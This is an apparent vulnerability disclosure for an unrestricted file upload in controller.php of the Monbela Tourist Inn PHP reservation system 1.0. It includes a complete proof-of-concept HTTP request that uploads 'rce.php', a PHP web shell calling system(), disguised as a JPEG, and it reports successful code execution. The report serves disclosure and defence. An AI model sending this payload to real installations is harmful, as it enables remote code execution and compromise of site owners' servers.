Itsourcecode Monbela Tourist In Online Reservation System Using PHP 1.0 controller.php Unrestricted Upload

[wangyuan-ui]

Itsourcecode Monbela Tourist In Online Reservation System Using PHP 1.0 controller.php Unrestricted Upload

NAME OF AFFECTED PRODUCT(S)

• Monbela Tourist In Online Reservation System Using PHP

Vendor Homepage

• https://itsourcecode.com/free-projects/php-project/monbela-tourist-inn-online-reservation-system/

AFFECTED AND/OR FIXED VERSION(S)

submitter

• wangyuan-ui

Vulnerable File

• controller.php

VERSION(S)

• V1.0

Software Link

• https://itsourcecode.com/wp-content/uploads/2016/05/Monbela.zip

PROBLEM TYPE

Vulnerability Type

• File upload

Root Cause

• In line 45 of the controller.php file, the input obtained through $-FILES is directly used to determine the storage location of the file without verification or cleaning. The specific code snippet is as follows:
• 

Impact

• Attackers can exploit this vulnerability for unrestricted uploads, which may lead to file overwrite, file injection, directory traversal attacks, and denial of service attacks. Remote attacks may also result in RCE

DESCRIPTION

• wangyuan-ui discovered that the file upload operation was triggered on line 164 of the 'controller.php' file and the uploaded file was received using the '$_FILES' variable. Due to the lack of appropriate input validation and cleaning, remote attackers can pass malicious payloads through this file upload feature, resulting in unrestricted file uploads, which may further lead to remote code execution (RCE).

Vulnerability details and POC

Payload

POST /admin/mod_room/controller.php?action=add HTTP/1.1
Host: localhost:8103
Content-Length: 2782
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8103
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrKFZ95dXQZ0NftNp
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8103/admin/mod_room/index.php?view=add
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryrKFZ95dXQZ0NftNp
Content-Disposition: form-data; name="ROOM"

11
------WebKitFormBoundaryrKFZ95dXQZ0NftNp
Content-Disposition: form-data; name="ACCOMID"

12
------WebKitFormBoundaryrKFZ95dXQZ0NftNp
Content-Disposition: form-data; name="ROOMDESC"

11
------WebKitFormBoundaryrKFZ95dXQZ0NftNp
Content-Disposition: form-data; name="NUMPERSON"

11
------WebKitFormBoundaryrKFZ95dXQZ0NftNp
Content-Disposition: form-data; name="PRICE"

11
------WebKitFormBoundaryrKFZ95dXQZ0NftNp
Content-Disposition: form-data; name="ROOMNUM"

11
------WebKitFormBoundaryrKFZ95dXQZ0NftNp
Content-Disposition: form-data; name="image"; filename="rce.php"
Content-Type: image/jpeg


Node: Sorry, due to some encoding reasons, I am unable to use Markdown to store image data with attack payloads here. I will take a screenshot to show



<?php system("ipconfig"); ?>
------WebKitFormBoundaryrKFZ95dXQZ0NftNp
Content-Disposition: form-data; name="save"


------WebKitFormBoundaryrKFZ95dXQZ0NftNp--

• 

I successfully executed the PHP script on the terminal

•